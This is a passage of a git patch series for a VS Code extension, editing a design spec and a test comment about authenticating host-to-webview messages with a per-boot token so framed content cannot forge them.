stamp is a type error rather than a convention to remember; adding a `message` listener that skips `isHostMessage` still reopens the forgery hole. See "Webview message authentication" below. +- **Every host → webview send carries the message token.** The webview's `window` is a shared inbox that framed surfaces can also post to, so the adapter drops any `message` that isn't stamped with the per-boot token. Everything downstream of `serveWebview` holds a `WebviewChannel` rather than a `vscode.Webview`, so bypassing the stamp is a type error there rather than a convention to remember; only the two serve sites (`setupPanel`, `resolveWebviewView`) still hold a raw webview. Adding a `message` listener that skips `isHostMessage` reopens the forgery hole either way. See "Webview message authentication" below. - **Workbench keybindings mirror for selected chords.** `lib/src/lib/vscode-keybindings.ts` is the source of truth for the VS Code-hosted mirror allowlist. For `Ctrl/Cmd+P`, `Ctrl/Cmd+Shift+P`, `Ctrl/Cmd+B`, and `F1`, xterm still processes the key while the webview also posts `dormouse:runWorkbenchCommand`; `message-router.ts` validates that request against the same small command set before calling `vscode.commands.executeCommand`. ### Extension manifest (current) From 4f959c882af49d8dbbe5b8d3cbe9a428425a9928 Mon Sep 17 00:00:00 2001 From: Ned Twigg Date: Sat, 15 Aug 2026 18:53:26 -0700 Subject: [PATCH 4/6] Update docs/specs/vscode.md Co-authored-by: dormouse-bot --- docs/specs/vscode.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/specs/vscode.md b/docs/specs/vscode.md index 60266f63..0d493ba2 100644 --- a/docs/specs/vscode.md +++ b/docs/specs/vscode.md @@ -217,7 +217,7 @@ So host-originated messages are authenticated by a **per-boot message token**: - **Every** host → webview send goes through a channel. `attachRouter` takes a `WebviewChannel` (not a `vscode.Webview`) and exposes `post()` as a local; `DormouseViewProvider` stores its channel and `postMessage` forwards to it, returning `false` before the view is served or after it disposes — the same undelivered signal the VS Code API gives for a dead webview, which the `dormouse:newTerminal` retry loop and `forwardDorControlRequest`'s rejection path already handle. - `VSCodeAdapter` captures the token **once, at construction**, and both of its `message` listeners — the main dispatcher and the per-request reply listener inside `requestResponse` — call `isHostMessage(event.data, token)` before reading anything else, including `type`. -Why a token rather than checking `event.source`/`event.origin`: a source check would have to assert something about VS Code's internal webview frame topology, which is undocumented and can change between releases. A token depends on nothing but itself. It is deliberately **not** the CSP nonce — that nonce authorizes script execution, this token authenticates a message sender; conflating them makes both harder to reason about, and the nonce appears in markup the page can read. +Why a token rather than checking `event.source`/`event.origin`: a source check would have to assert something about VS Code's internal webview frame topology, which is undocumented and can change between releases. A token depends on nothing but itself. It is deliberately **not** the CSP nonce — that nonce authorizes script execution, this token authenticates a message sender; conflating them makes both harder to reason about. Both live in the same injected markup and are equally readable by the top document; neither is reachable from a cross-origin frame. The guard fails closed in both directions: a webview served without the global accepts nothing, and a host send without a token delivers nothing. Framed content cannot read the parent's globals cross-origin, so it cannot produce the token. From e7361db24d0f32c310dd1b905b4cb6121d77c1c4 Mon Sep 17 00:00:00 2001 From: Ned Twigg Date: Sat, 15 Aug 2026 18:53:32 -0700 Subject: [PATCH 5/6] Update lib/src/lib/platform/vscode-adapter.test.ts Co-authored-by: dormouse-bot --- lib/src/lib/platform/vscode-adapter.test.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/src/lib/platform/vscode-adapter.test.ts b/lib/src/lib/platform/vscode-adapter.test.ts index 2611fc8d..662de03b 100644 --- a/lib/src/lib/platform/vscode-adapter.test.ts +++ b/lib/src/lib/platform/vscode-adapter.test.ts @@ -35,7 +35,7 @@ const HOST_TOKEN = 'test-host-message-token'; /** * Build the `message` event the extension host would post: the payload plus the - * token stamp `postToWebview` adds. Framed content can't read the token, so a + * token stamp `serveWebview`'s channel adds. Framed content can't read the * forged message is just this without the stamp. */ function hostMessage(data: Record, token: unknown = HOST_TOKEN): MessageEvent { From 09ac0240336bd4f33169fb3733963eaeb70f1ff9 Mon Sep 17 00:00:00 2001 From: Ned Twigg Date: Sat, 15 Aug 2026 22:55:34 -0700 Subject: [PATCH 6/6] Update lib/src/lib/platform/vscode-adapter.test.ts Co-authored-by: dormouse-bot --- lib/src/lib/platform/vscode-adapter.test.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/src/lib/platform/vscode-adapter.test.ts b/lib/src/lib/platform/vscode-adapter.test.ts index 662de03b..f457e333 100644 --- a/lib/src/lib/platform/vscode-adapter.test.ts +++ b/lib/src/lib/platform/vscode-adapter.test.ts @@ -36,7 +36,7 @@ const HOST_TOKEN = 'test-host-message-token'; /** * Build the `message` event the extension host would post: the payload plus the * token stamp `serveWebview`'s channel adds. Framed content can't read the - * forged message is just this without the stamp. + * token, so a forged message is just this without the stamp. */ function hostMessage(data: Record, token: unknown = HOST_TOKEN): MessageEvent { return new MessageEvent('message', {